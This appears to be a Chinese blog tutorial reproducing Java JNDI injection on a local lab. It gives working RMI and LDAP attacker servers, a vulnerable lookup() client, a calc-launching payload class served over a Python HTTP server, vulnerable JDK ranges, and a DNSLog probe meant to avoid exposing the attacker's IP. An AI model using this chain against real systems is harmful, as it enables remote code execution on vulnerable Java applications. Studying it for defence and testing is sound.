🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1 前言
0x2 JNDI简介
0x3 JNDI注入
0x4 JNDI注入漏洞复现
JNDI+RMI
1、基础环境
2、启动服务
3、代码详解
JNDI+LDAP
JNDI+DNS
0x5 总结
0x6 参考链接
0x1 前言
本篇文章我也是看过很多的博客写的,中间也遇到很多问题,JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析,其中漏洞的危害原因主要是lookup()函数可控,可以执行恶意的命令,从而造成恶意攻击。
0x2 JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务
和目录服务
,如下图:
协议 | 作用 |
---|---|
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
0x3 JNDI注入
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
代码示例:
代码中定义了 uri
变量,uri
变量可控,并定义了一个 rmi
协议服务, rmi://127.0.0.1:1099/Exploit
为攻击者控制的链接,最后使用 lookup()
函数进行远程获取 Exploit
类(Exploit 类名为攻击者定义,不唯一),并执行它
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}
具体攻击流程图:
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
0x4 JNDI注入漏洞复现
JNDI+RMI
1、基础环境
我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。
Java Archive Downloads - Java SE 7
判断自己的JDK环境版本
1、首先 IDEA 新建一个项目
maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。
2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection
3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。
服务端(RMIServer.java)
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
客户端(RMIClient.java) 客户端也是受害者
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
HTTP 端恶意载荷(Calculator.java)代码
我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
2、启动服务
1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件
2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致
python -m http.server 8081
3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端
服务端启动:
客户端启动:
发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!
3、代码详解
InitialContext类
RMIClient.java代码分析
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "dns://y9p1pr.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
InitialContext
类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。
我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口。
我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE
所以会通过 rmi
协议访问 127.0.0.1:7778/RCE
Reference 类
RMIServer.java代码分析
package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/
服务端上,等待客户端的调用并实例化执行。
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
JNDI+LDAP
1、基础环境
1、我们先在java目录下新建一个jndi_ldap_injection包
2、攻击者搭建LDAP服务器,需要导入unboundid依赖库。
在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,
3、创建LDAP的服务端和客户端的代码
LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。
package jndi_ldap_injection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。
package jndi_ldap_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1234/Calculator";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
3、HTTP 端恶意载荷(Calculator.java)代码,跟rmi的恶意载荷一样
public class Calculator {
public Calculator() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
2、启动环境
1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件
2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致
python -m http.server 8081
3、IDEA 将漏洞环境启动起来并实现弹窗,顺序为先其服务端,再起客户端 ,跟rmi一样我就不一一演示了
JNDI+DNS
通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。
为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。
我们使用RMI的客户端的漏洞代码即可,只需要把可变量uri修改成DNSlog网站的地址即可
package jndi_rmi_injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "dns://y9p1pr.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
然后运行RMI的客户端,再Refresh Record刷新记录,就可以看到有记录,那么就说明存在JNDI注入漏洞。
0x5 总结
我们在测试JNDI注入的时候,可以使用DNS协议的测试方法,利用dnslog网站的返回值,来判断是否存在JNDI注入。
JNDI漏洞的产生主要是 lookup()
的参数可控,攻击者在远程服务器上构造恶意的 Reference
类绑定在 RMIServer
的 Registry
里面,然后客户端调用 lookup()
函数里面的对象,远程类获取到 Reference
对象,客户端接收 Reference
对象后,寻找 Reference
中指定的类,若查找不到,则会在 Reference
中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI
注入攻击。
0x6 参考链接
1、https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb28MDj2C%2BbeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-10
2、https://www.cnblogs.com/LittleHann/p/17768907.html#_lab2_2_1
3、https://www.cnblogs.com/0dot7/p/17259327.html